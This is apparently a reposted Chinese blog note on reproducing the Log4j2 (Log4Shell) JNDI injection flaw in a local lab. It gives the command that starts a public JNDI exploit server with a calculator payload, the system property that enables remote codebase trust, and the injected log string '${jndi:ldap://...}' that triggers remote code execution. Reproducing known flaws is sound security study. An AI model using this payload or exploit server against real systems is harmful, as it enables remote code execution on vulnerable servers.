2021-12-10 log4j2 漏洞复现

59 阅读 0 评论 39 点赞

我是靠谱客的博主柔弱发带，最近开发中收集的这篇文章主要介绍2021-12-10 log4j2 漏洞复现，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

log4j2 漏洞复现
https://github.com/welk1n/JNDI-Injection-Exploit
1、运行该github项目（用idea运行ServerStart的main方法或运行jar包,jar包上面github地址有提供）
注意windows与mac的不同，jdk1.8及以下
运行jar包命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:WindowsSystem32calc.exe" -A "127.0.0.1"

若是通过idea运行注意替换命令
运行之后会生成url ，url示例:ldap://192.168.88.1:1389/k5vyxp
2、运行带log4j2的项目 log.error(url),运行成功后会打开你的计算器
System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”,“true”);
log.error("${jndi:ldap://192.168.88.1:1389/k5vyxp}")